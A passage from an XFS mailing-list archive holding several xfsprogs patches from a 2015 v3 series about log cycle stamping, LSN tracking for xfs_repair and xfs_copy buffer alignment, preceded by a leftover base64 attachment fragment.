yGHwfX+Fj7tAN2geDbKHPczL8cTzqmYcJ74MUtdIjDQP2A6w/fdLUpqnSDmnpiItjSiKoijy mz3sn+S58llljSkAKsjMGuXIV9yOOjVJeY9wq+Y+QQXnwtNFn+MIQ3X6NZQy9o26oWFzCvcT ipaGvE/Qkt2/jkER4Q4vhUgbm5eGYF6OcVzyeUYdx9k3vjir4zg/c/ZRzrxTWTmACiMw6gGE b0L8s7E21+r0HyfHshh1oRVn+/40eNxuDz7OSHvZwhcK6hoOFTiX00/y5TR2a03gpVGSxPy1 puUpK6diIINzsUIhjGbIU/rXxTGfeSsBFqRZNi8pPbdCNCbZbYqFl/qWrooRQop9GDmlCdeA 8aJo7Xh7ed9t9nsNuGhLEMsihNuKZllJZT2NcV4J6e+afHXhVOlk5dQ1IM+Y4NXD68+3l0n2 8fJjszNAiAd+gl5WxnVQKBazoBGC8jGslC0s14QoZO/tjaRpR6wnMY3ORpvDGvcGa1wQMkfl xT1jTNBfw7qBo+O3jKXxJj/FrKRo7ogPXWvHOblsnf3N7oAhRHCL9pT4td8+vhISzGT9tFk/ j2ru/DjzlElnmFqLn2x/7B52vye7t4/D9rWf/eTHFZZjqXLgM3bQSh2du4s2MKKVgjvefT3F qhcTx2FYkigTqFTtX8VJaZOKIMaQbx8UpUV+lJqHmheA+wi6IaxOcCqZy6B2ugIwULWouWwx 8jJG33B+BvYqmQpVWIYhiYPIv79ifqop0rYnFk8tZauEHL4Q7wcq/xQKRszpUgW8Z0HQn1p7 DCiZWRk+HEwZNG7xgLnEUmQDAtULc6wu2Pa7FTaP/1/fXV1abRSpLWze2Lu8sBo9lXJt1WyR +hahLHTtxbDVD276y2tahXl3cxvDIPYoQzjEHqEPizjgz4X23oTxBRS2Vx+lCJvCwVDf+xUS VClob0avysFH7cuyfWFtSFreUwokVvHt8PKaq1BQnDDkTgjQ2Wk4yKcvDc4Rr6vNx5T47gZX O8t0Gry+p4fG5FLr+277enimzKGfL5v9Ixd00qll9M7FRS5B5hinTfJrwpdrQx0XnQ+y/bX5 m+BcyeLvabi1bt9xI+psIUSDYicbZRSKWHoqO4bvaVjTRVnZsECGZ6oQehl7+/f069lFT+KV QgyaMq3HOJPdrodTkEbwhFzWRQYnBeZSpH4ulLfr2bIBNwM0pD/dzqcqI0K2wuhx6klV+6Z7 gspbRt68wZtimVPvOqZo/LAEddCVLl1sCzN0flYL6TTQHFQMSlYtJYhF3SUyyhhUmif3byIp lGDEgTCJcDJLIXjNdcsvlCYazGiEeeWWg8DIu7HwLWWaEJgz9ykN2fXJs1Gx7x8tPtYkeVs/ f7zr3TJ7eH0cbBGMjC8QlcrGhOwNgcR6tsg06DDLVHgZrDgoUZ4XnAoO6PWtlyyiDppRE9Ey 5Iuqa9aAdDTDYS0qNovbmsgWFPPo13qNoyy0t/NItPhV8ygSsVGad3sO+hlF30Mp+3NvEhT2 XyYvH4fNfxv4Y3NYn5yc/GXbrQ7X0rXwBrHepYtHO9EnD3hVME0Hm3nY1HcB450Iqf0IoAfq VGGR+fgwH/U61xvSNW7s7KCIj3GUQhkxEelVNZZgZDVPoKIwwqIw5p0FAbh5q6Vg44r43OgO lRp8m2CspeLfY0Ik9O5PMbkhvr+XjmeuRkZ1pBRVg97oE4Nl1q83LI8WGMKvwyFe2UgpOAFa zLqU0t8wUc4UdiCEnjxln8DNRTqJHMxQ7WaDQw7xLER667Rx7vpwXrPoDlE5ZAb0ExCAi1BG BGgk5JsDY5XzhdTEoPBKX43htxoBElR7mAflsBRay34ulNIgke7sQV5IJYLA4hf89VD/Phyj pHf+QpS6hYf2FUyU/HDppUUyNHL/A7Dw44t6ZAAA --2fHTh5uZTiUOsy+g-- From bfoster@redhat.com Fri Oct 2 13:19:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F07BA7F56 for ; Fri, 2 Oct 2015 13:19:58 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id CC7368F8033 for ; Fri, 2 Oct 2015 11:19:58 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04cb6c6b071ab7e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id lXCl0UnPuVRWncwo (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:57 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id 15B9D461D5 for ; Fri, 2 Oct 2015 18:19:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJun9004534 for ; Fri, 2 Oct 2015 14:19:56 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 5A9FA1204DA; Fri, 2 Oct 2015 14:19:55 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 03/18] libxfs: don't hardcode cycle 1 into unmount op header Date: Fri, 2 Oct 2015 14:19:40 -0400 X-ASG-Orig-Subj: [PATCH v3 03/18] libxfs: don't hardcode cycle 1 into unmount op header Message-Id: <1443809995-20395-4-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809997 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The libxfs helper to write a log record after zeroing the log fills much of the record header and unmount record with dummy data. It also hardcodes the cycle number into the transaction oh_tid field as the kernel expects to find the cycle stamped at the top of each block and the original oh_tid value packed into h_cycle_data of the record header. The log clearing code requires the ability to format the log to an arbitrary cycle number to fix v5 superblock log recovery ordering problems. As a result, the unmount record helper must not hardcode a cycle of 1. Fix up libxfs_log_header() to pack the unmount record appropriately, as is already done for extra blocks that might exist beyond the record. Use h_cycle_data for the original 32-bit word of the log record data block and stamp the cycle number in its place. This allows unmount_record() to work for arbitrary cycle numbers and libxfs_log_header() to pack a cycle value that matches the lsn used in the record header. Note that this patch does not change behavior as the lsn is still hardcoded to (1:0). Signed-off-by: Brian Foster --- libxfs/rdwr.c | 24 +++++++++++++++++------- 1 file changed, 17 insertions(+), 7 deletions(-) diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index bc77699..282f22d 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -122,7 +122,8 @@ static void unmount_record(void *p) } magic = { XLOG_UNMOUNT_TYPE, 0, 0 }; memset(p, 0, BBSIZE); - op->oh_tid = cpu_to_be32(1); + /* dummy tid to mark this as written from userspace */ + op->oh_tid = cpu_to_be32(0xb0c0d0d0); op->oh_len = cpu_to_be32(sizeof(magic)); op->oh_clientid = XFS_LOG; op->oh_flags = XLOG_UNMOUNT_TRANS; @@ -188,10 +189,6 @@ libxfs_log_header( len = ((version == 2) && sunit) ? BTOBB(sunit) : 1; - /* note that oh_tid actually contains the cycle number - * and the tid is stored in h_cycle_data[0] - that's the - * way things end up on disk. - */ memset(p, 0, BBSIZE); head->h_magicno = cpu_to_be32(XLOG_HEADER_MAGIC_NUM); head->h_cycle = cpu_to_be32(1); @@ -203,7 +200,6 @@ libxfs_log_header( head->h_crc = cpu_to_le32(0); head->h_prev_block = cpu_to_be32(-1); head->h_num_logops = cpu_to_be32(1); - head->h_cycle_data[0] = cpu_to_be32(0xb0c0d0d0); head->h_fmt = cpu_to_be32(fmt); head->h_size = cpu_to_be32(XLOG_HEADER_CYCLE_SIZE); @@ -212,11 +208,25 @@ libxfs_log_header( memcpy(&head->h_fs_uuid, fs_uuid, sizeof(uuid_t)); - len = MAX(len, 2); p = nextfunc(p, BBSIZE, private); unmount_record(p); + /* + * The kernel expects to see either a log record header magic or the LSN + * cycle at the top of every log block (for example, see + * xlog_[un]pack_data() and xlog_get_cycle()). Pack the unmount record + * block appropriately here. + */ cycle_lsn = CYCLE_LSN_DISK(head->h_lsn); + head->h_cycle_data[0] = *(__be32 *)p; + *(__be32 *)p = cycle_lsn; + + /* + * Now zero any remaining blocks in the record and stamp with the cycle. + * Note that we don't need to swap into h_cycle_data because it has + * already been initialized to zero. + */ + len = MAX(len, 2); for (i = 2; i < len; i++) { p = nextfunc(p, BBSIZE, private); memset(p, 0, BBSIZE); -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:19:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1529F7F58 for ; Fri, 2 Oct 2015 13:19:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0DAAB304039 for ; Fri, 2 Oct 2015 11:19:58 -0700 (PDT) X-ASG-Debug-ID: 1443809996-04cbb033b01d6a50001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ANOUWB0xqV4lVga4 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:57 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id DD2968C1B8 for ; Fri, 2 Oct 2015 18:19:56 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJu8M023976 for ; Fri, 2 Oct 2015 14:19:56 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 43AFD120450; Fri, 2 Oct 2015 14:19:55 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 02/18] libxfs: track largest metadata LSN in use via verifiers Date: Fri, 2 Oct 2015 14:19:39 -0400 X-ASG-Orig-Subj: [PATCH v3 02/18] libxfs: track largest metadata LSN in use via verifiers Message-Id: <1443809995-20395-3-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809997 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The LSN validation helper is called in the I/O verifier codepath for metadata that embed a last-modification LSN. While the codepath exists, this is not used in userspace as in the kernel because the former doesn't have an active log. xfs_repair does need to check the validity of the LSN metadata with respect to the on-disk log, however. Use the LSN validation mechanism to track the largest LSN that has been seen. Export the value so repair can use it once it has processed the entire filesystem. Note that the helper continues to always return true to preserve existing behavior. Signed-off-by: Brian Foster --- include/libxfs.h | 1 + libxfs/util.c | 33 +++++++++++++++++++++++++++++++++ 2 files changed, 34 insertions(+) diff --git a/include/libxfs.h b/include/libxfs.h index b1604e2..cc06fc6 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -134,6 +134,7 @@ typedef struct { #define LIBXFS_DIRECT 0x0020 /* can use direct I/O, not buffered */ extern char *progname; +extern xfs_lsn_t libxfs_max_lsn; extern int libxfs_init (libxfs_init_t *); extern void libxfs_destroy (void); extern int libxfs_device_to_fd (dev_t); diff --git a/libxfs/util.c b/libxfs/util.c index fcf6e96..6192e6c 100644 --- a/libxfs/util.c +++ b/libxfs/util.c @@ -730,10 +730,43 @@ xfs_verifier_error( bp->b_bn, BBTOB(bp->b_length)); } +/* + * This is called from I/O verifiers on v5 superblock filesystems. In the + * kernel, it validates the metadata LSN parameter against the current LSN of + * the active log. We don't have an active log in userspace so this kind of + * validation is not required. Therefore, this function always returns true in + * userspace. + * + * xfs_repair piggybacks off this mechanism to help track the largest metadata + * LSN in use on a filesystem. Keep a record of the largest LSN seen such that + * repair can validate it against the state of the log. + */ +xfs_lsn_t libxfs_max_lsn = 0; +pthread_mutex_t libxfs_max_lsn_lock = PTHREAD_MUTEX_INITIALIZER; + bool xfs_log_check_lsn( struct xfs_mount *mp, xfs_lsn_t lsn) { + int cycle = CYCLE_LSN(lsn); + int block = BLOCK_LSN(lsn); + int max_cycle; + int max_block; + + if (lsn == NULLCOMMITLSN) + return true; + + pthread_mutex_lock(&libxfs_max_lsn_lock); + + max_cycle = CYCLE_LSN(libxfs_max_lsn); + max_block = BLOCK_LSN(libxfs_max_lsn); + + if ((cycle > max_cycle) || + (cycle == max_cycle && block > max_block)) + libxfs_max_lsn = lsn; + + pthread_mutex_unlock(&libxfs_max_lsn_lock); + return true; } -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:19:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 375AA29DF6 for ; Fri, 2 Oct 2015 13:19:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 346578F8049 for ; Fri, 2 Oct 2015 11:19:59 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04cbb033b31d6a70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 4QqWmDUuWLeGtTMG (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:58 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id C40C92C76FC for ; Fri, 2 Oct 2015 18:19:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJvFg004541 for ; Fri, 2 Oct 2015 14:19:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 11A3212049E; Fri, 2 Oct 2015 14:19:56 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 16/18] xfs_copy: store data buf alignment in buf data structure Date: Fri, 2 Oct 2015 14:19:53 -0400 X-ASG-Orig-Subj: [PATCH v3 16/18] xfs_copy: store data buf alignment in buf data structure Message-Id: <1443809995-20395-17-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809998 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The write buffer data structure stores various characteristics of the write buffer, such as I/O alignment requirements, etc., but does not include the required data buffer alignment. Data buffer alignment is a required buffer initialization parameter and the v5 log format support code would like to initialize an independent log buffer based on the predetermined alignment constraints encoded into the global write buffer. Update the write buffer data structure to store the provided data alignment value such that it can be accessed throughout the codebase. This patch does not change existing behavior. Signed-off-by: Brian Foster --- copy/xfs_copy.c | 1 + copy/xfs_copy.h | 1 + 2 files changed, 2 insertions(+) diff --git a/copy/xfs_copy.c b/copy/xfs_copy.c index 0481ece..e03796a 100644 --- a/copy/xfs_copy.c +++ b/copy/xfs_copy.c @@ -352,6 +352,7 @@ wbuf_init(wbuf *buf, int data_size, int data_align, int min_io_size, int id) return NULL; } ASSERT(min_io_size % BBSIZE == 0); + buf->data_align = data_align; buf->min_io_size = min_io_size; buf->size = data_size; buf->id = id; diff --git a/copy/xfs_copy.h b/copy/xfs_copy.h index e76b937..6b94130 100644 --- a/copy/xfs_copy.h +++ b/copy/xfs_copy.h @@ -54,6 +54,7 @@ typedef struct { int id; /* buffer ID */ size_t size; /* size of buffer -- fixed */ size_t min_io_size; /* for direct I/O */ + int data_align; /* data buffer alignment */ xfs_off_t position; /* requested position (bytes) */ size_t length; /* requested length (bytes) */ char *data; /* pointer to data buffer */ -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:19:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2A18A7F59 for ; Fri, 2 Oct 2015 13:19:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2543D8F8033 for ; Fri, 2 Oct 2015 11:19:59 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04cb6c6b041ab7d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id cfLzEqB505ZEDs3f (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:57 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id 08BA4B8BB1 for ; Fri, 2 Oct 2015 18:19:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJuOr023978 for ; Fri, 2 Oct 2015 14:19:56 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 4FE4012049E; Fri, 2 Oct 2015 14:19:55 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 04/18] libxfs: pass lsn param to log clear and record header logging helpers Date: Fri, 2 Oct 2015 14:19:41 -0400 X-ASG-Orig-Subj: [PATCH v3 04/18] libxfs: pass lsn param to log clear and record header logging helpers Message-Id: <1443809995-20395-5-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809997 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 In preparation to support the ability to format the log with an arbitrary cycle number, the log clear and record logging helpers must be updated to receive the desired cycle and LSN values as parameters. Update libxfs_log_clear() to receive the desired cycle number to format the log with. Define a preprocessor directive to represent the currently hardcoded case of cycle 1. Update libxfs_log_header() to receive the lsn and tail_lsn of the record to write. Use a NULL value LSN to represent the currently hardcoded behavior. All callers are updated to use the current default values. As such, this patch does not change behavior in any way. Signed-off-by: Brian Foster --- copy/xfs_copy.c | 4 ++-- db/sb.c | 2 +- include/libxfs.h | 12 ++++++++---- libxfs/rdwr.c | 26 ++++++++++++++++++++------ mkfs/xfs_mkfs.c | 2 +- repair/phase2.c | 2 +- 6 files changed, 33 insertions(+), 15 deletions(-) diff --git a/copy/xfs_copy.c b/copy/xfs_copy.c index 2f4f5cb..949be5f 100644 --- a/copy/xfs_copy.c +++ b/copy/xfs_copy.c @@ -1212,8 +1212,8 @@ write_log_header(int fd, wbuf *buf, xfs_mount_t *mp) offset = libxfs_log_header(p, &buf->owner->uuid, xfs_sb_version_haslogv2(&mp->m_sb) ? 2 : 1, - mp->m_sb.sb_logsunit, XLOG_FMT, - next_log_chunk, buf); + mp->m_sb.sb_logsunit, XLOG_FMT, NULLCOMMITLSN, + NULLCOMMITLSN, next_log_chunk, buf); do_write(buf->owner); return roundup(logstart + offset, buf->length); diff --git a/db/sb.c b/db/sb.c index 598e787..560e653 100644 --- a/db/sb.c +++ b/db/sb.c @@ -278,7 +278,7 @@ sb_logzero(uuid_t *uuidp) (xfs_extlen_t)XFS_FSB_TO_BB(mp, mp->m_sb.sb_logblocks), uuidp, xfs_sb_version_haslogv2(&mp->m_sb) ? 2 : 1, - mp->m_sb.sb_logsunit, XLOG_FMT)) { + mp->m_sb.sb_logsunit, XLOG_FMT, XLOG_INIT_CYCLE)) { dbprintf(_("ERROR: cannot clear the log\n")); return 0; } diff --git a/include/libxfs.h b/include/libxfs.h index cc06fc6..6c87934 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -149,10 +149,14 @@ extern int platform_nproc(void); /* check or write log footer: specify device, log size in blocks & uuid */ typedef char *(libxfs_get_block_t)(char *, int, void *); -extern int libxfs_log_clear (struct xfs_buftarg *, xfs_daddr_t, uint, - uuid_t *, int, int, int); -extern int libxfs_log_header (char *, uuid_t *, int, int, int, - libxfs_get_block_t *, void *); +/* + * Helpers to clear the log to a particular log cycle. + */ +#define XLOG_INIT_CYCLE 1 +extern int libxfs_log_clear(struct xfs_buftarg *, xfs_daddr_t, uint, + uuid_t *, int, int, int, int); +extern int libxfs_log_header(char *, uuid_t *, int, int, int, xfs_lsn_t, + xfs_lsn_t, libxfs_get_block_t *, void *); /* Shared utility routines */ diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index 282f22d..da781da 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -150,14 +150,21 @@ libxfs_log_clear( uuid_t *fs_uuid, int version, int sunit, - int fmt) + int fmt, + int cycle) { xfs_buf_t *bp; int len; + xfs_lsn_t lsn; if (!btp->dev || !fs_uuid) return -EINVAL; + if (cycle != XLOG_INIT_CYCLE) + return -EINVAL; + + lsn = xlog_assign_lsn(cycle, 0); + /* first zero the log */ libxfs_device_zero(btp, start, length); @@ -165,8 +172,8 @@ libxfs_log_clear( len = ((version == 2) && sunit) ? BTOBB(sunit) : 2; len = MAX(len, 2); bp = libxfs_getbufr(btp, start, len); - libxfs_log_header(XFS_BUF_PTR(bp), - fs_uuid, version, sunit, fmt, next, bp); + libxfs_log_header(XFS_BUF_PTR(bp), fs_uuid, version, sunit, fmt, lsn, + lsn, next, bp); bp->b_flags |= LIBXFS_B_DIRTY; libxfs_putbufr(bp); return 0; @@ -179,6 +186,8 @@ libxfs_log_header( int version, int sunit, int fmt, + xfs_lsn_t lsn, + xfs_lsn_t tail_lsn, libxfs_get_block_t *nextfunc, void *private) { @@ -187,11 +196,16 @@ libxfs_log_header( __be32 cycle_lsn; int i, len; + if (lsn == NULLCOMMITLSN) + lsn = xlog_assign_lsn(XLOG_INIT_CYCLE, 0); + if (tail_lsn == NULLCOMMITLSN) + tail_lsn = lsn; + len = ((version == 2) && sunit) ? BTOBB(sunit) : 1; memset(p, 0, BBSIZE); head->h_magicno = cpu_to_be32(XLOG_HEADER_MAGIC_NUM); - head->h_cycle = cpu_to_be32(1); + head->h_cycle = cpu_to_be32(CYCLE_LSN(lsn)); head->h_version = cpu_to_be32(version); if (len != 1) head->h_len = cpu_to_be32(sunit - BBSIZE); @@ -203,8 +217,8 @@ libxfs_log_header( head->h_fmt = cpu_to_be32(fmt); head->h_size = cpu_to_be32(XLOG_HEADER_CYCLE_SIZE); - head->h_lsn = cpu_to_be64(xlog_assign_lsn(1, 0)); - head->h_tail_lsn = cpu_to_be64(xlog_assign_lsn(1, 0)); + head->h_lsn = cpu_to_be64(lsn); + head->h_tail_lsn = cpu_to_be64(tail_lsn); memcpy(&head->h_fs_uuid, fs_uuid, sizeof(uuid_t)); diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index d993fc0..238d400 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -2670,7 +2670,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), libxfs_log_clear(mp->m_logdev_targp, XFS_FSB_TO_DADDR(mp, logstart), (xfs_extlen_t)XFS_FSB_TO_BB(mp, logblocks), - &sbp->sb_uuid, logversion, lsunit, XLOG_FMT); + &sbp->sb_uuid, logversion, lsunit, XLOG_FMT, XLOG_INIT_CYCLE); mp = libxfs_mount(mp, sbp, xi.ddev, xi.logdev, xi.rtdev, 0); if (mp == NULL) { diff --git a/repair/phase2.c b/repair/phase2.c index 7e264c4..0673a0c 100644 --- a/repair/phase2.c +++ b/repair/phase2.c @@ -98,7 +98,7 @@ zero_log(xfs_mount_t *mp) (xfs_extlen_t)XFS_FSB_TO_BB(mp, mp->m_sb.sb_logblocks), &mp->m_sb.sb_uuid, xfs_sb_version_haslogv2(&mp->m_sb) ? 2 : 1, - mp->m_sb.sb_logsunit, XLOG_FMT); + mp->m_sb.sb_logsunit, XLOG_FMT, XLOG_INIT_CYCLE); } /* -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:19:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 42AB529DF9 for ; Fri, 2 Oct 2015 13:19:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2F7178F8037 for ; Fri, 2 Oct 2015 11:19:59 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04cb6c6b041ab7e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id XoSQArF6MNX26UMm (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:58 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id 8225E2C76F8 for ; Fri, 2 Oct 2015 18:19:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJvl2004543 for ; Fri, 2 Oct 2015 14:19:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id AD8BD12056F; Fri, 2 Oct 2015 14:19:55 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 10/18] xfs_repair: don't clear the log by default Date: Fri, 2 Oct 2015 14:19:47 -0400 X-ASG-Orig-Subj: [PATCH v3 10/18] xfs_repair: don't clear the log by default Message-Id: <1443809995-20395-11-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809997 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi 